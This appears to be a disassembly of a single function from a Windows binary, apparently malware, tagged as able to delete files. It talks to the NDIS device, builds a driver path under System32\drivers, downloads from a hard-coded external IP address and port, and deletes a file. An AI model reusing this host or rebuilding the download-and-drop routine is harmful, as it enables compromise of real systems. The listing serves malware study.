Function at 0x14005d420
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x140088620]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov rsi, rcx
mov qword [rsp + 0x60], rcx
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 3
mov r8d, edx
lea rcx, str..NDIS
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14008fa08], rax
mov qword [rbp - 0x70], 0x29a
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rcx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 8
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x20], rcx
lea r9d, [r12 + 0x28]
lea r8, [rbp - 0x28]
mov edx, 0x44aa4180
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
cmp qword [rbp - 0x70], 1
je 0x14005d76b
lea rcx, [rbp - 0x28]
call fcn.14005dd40
nop
mov r8, rax
lea rdx, str.C:WindowsSystem32drivers_
lea rcx, [rsp + 0x40]
call fcn.14005ceb0
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 4
jb 0x14005d548
lea r8, [rdx + 4]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 8
jb 0x14005d533
mov rax, qword [rcx]
movabs r9, 0x7300790073002e
mov qword [rax + rdx*2], r9
mov word [rax + r8*2], r12w
jmp 0x14005d567
mov qword [rsp + 0x20], 4
lea r9, str..sys
xor r8d, r8d
lea edx, [r8 + 4]
call fcn.14005d010
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], 7
mov word [rcx], r12w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005d5da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d5d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005d5d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f834
movdqa xmm0, xmmword [0x140072f00]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r12w
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x14005d631
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d62c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005d62c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f834
movdqa xmm0, xmmword [0x140072f00]
movdqu xmmword [rbp - 0x18], xmm0
mov word [rbp - 0x28], r12w
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rdx, qword [rbp - 0x48]
lea rcx, str.http:__27.25.150.29:20246_Distribute_.e
call fcn.14005e7e0
lea rcx, [rbp - 0x48]
call fcn.14005e040
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
cmp dword [0x14008fa00], 0x5dc
jae 0x14005d728
lea rdx, [0x140073690]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14005cbc0
mov rcx, rax
mov edx, dword [0x14008fa00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000b140]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14005d709
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d704
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d75f
call fcn.14005f834
movdqa xmm0, xmmword [0x140072f00]
movdqu xmmword [rbp - 0x38], xmm0
mov word [rbp - 0x48], r12w
mov rcx, rsi
call fcn.1400195bc
jmp 0x14005daa4
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14005d76b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d766
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005d766
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f834
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
lea rax, [rbp + 0x40]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x200
mov qword [rsp + 0x20], r12
mov r9d, 0x28
lea r8, [rsp + 0x68]
mov edx, 0x84a28000
mov rcx, qword [0x14008fa08]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
lea rax, [rbp + 0x40]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x14005d7d4
movabs r14, 0x7fffffffffffffff
cmp rdi, r14
ja 0x14005dadd
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
cmp rdi, 0x10
jae 0x14005d819
mov qword [rbp - 0x58], rdi
mov r8, rdi
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x68]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi - 0x68], 0
jmp 0x14005d863
mov rax, rdi
or rax, 0xf
cmp rax, r14
ja 0x14005d834
mov r14, rax
mov ecx, reloc.WS2_32.dll_shutdown
cmp rax, rcx
cmovb r14, rcx
lea rdx, [r14 + 1]
lea rcx, [rbp - 0x68]
call fcn.14005c850
mov rbx, rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], r14
mov r8, rdi
lea rdx, [rbp + 0x40]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], 3
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x1400736b8]
mov word [rbp], ax
movzx eax, byte [0x1400736ba]
mov byte [rbp + 2], al
mov byte [rbp + 3], 0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], 3
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov ebx, dword [0x1400736bc]
mov word [rbp + 0x20], bx
mov byte [rbp + 0x23], 0
xor r8d, r8d
lea rdx, [rbp]
lea rcx, [rbp - 0x68]
call fcn.14005eaf0
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x68]
mov rdi, qword [rbp - 0x68]
mov r14, qword [rbp - 0x50]
cmp r14, 0x10
cmovae rax, rdi
mov qword [rbp - 0x70], rax
mov rcx, qword [rbp - 0x58]
cmp rcx, 3
jb 0x14005d955
lea r12, [rcx + rax]
movsx r13d, bl
lea r8, [r12 - 2]
sub r8, rax
mov edx, r13d
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14005d952
movzx r15d, byte [rbp + 0x21]
cmp byte [rax], bl
jne 0x14005d92a
cmp byte [rax + 1], r15b
jne 0x14005d92a
movzx ecx, byte [0x1400736be]
cmp byte [rax + 2], cl
jne 0x14005d92a
xor ecx, ecx
jmp 0x14005d92f
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x14005da09
inc rax
lea r8, [r12 - 2]
sub r8, rax
mov edx, r13d
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x14005d910
xor r12d, r12d
mov rax, 0xffffffffffffffff
cmp qword [rsp + 0x60], 0xffffffffffffffff
jne 0x14005da15
cmp rax, 0xffffffffffffffff
jne 0x14005da15
cmp r14, 0x10
jb 0x14005d9a9
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14005d9a1
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005da40
mov rcx, rdi
call fcn.14005f834
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x14005d9f3
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14005d9ee
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005dad6
mov rcx, r8
call fcn.14005f834
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov al, 1
jmp 0x14005daa6
sub rax, qword [rbp - 0x70]
xor r12d, r12d
jmp 0x14005d95c
cmp r14, 0x10
jb 0x14005da4f
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14005da47
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005da47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14005f834
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x14005da95
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14005da90
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005dad6
mov rcx, r8
call fcn.14005f834
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
xor al, al
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140060150
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400272c8
nop
int3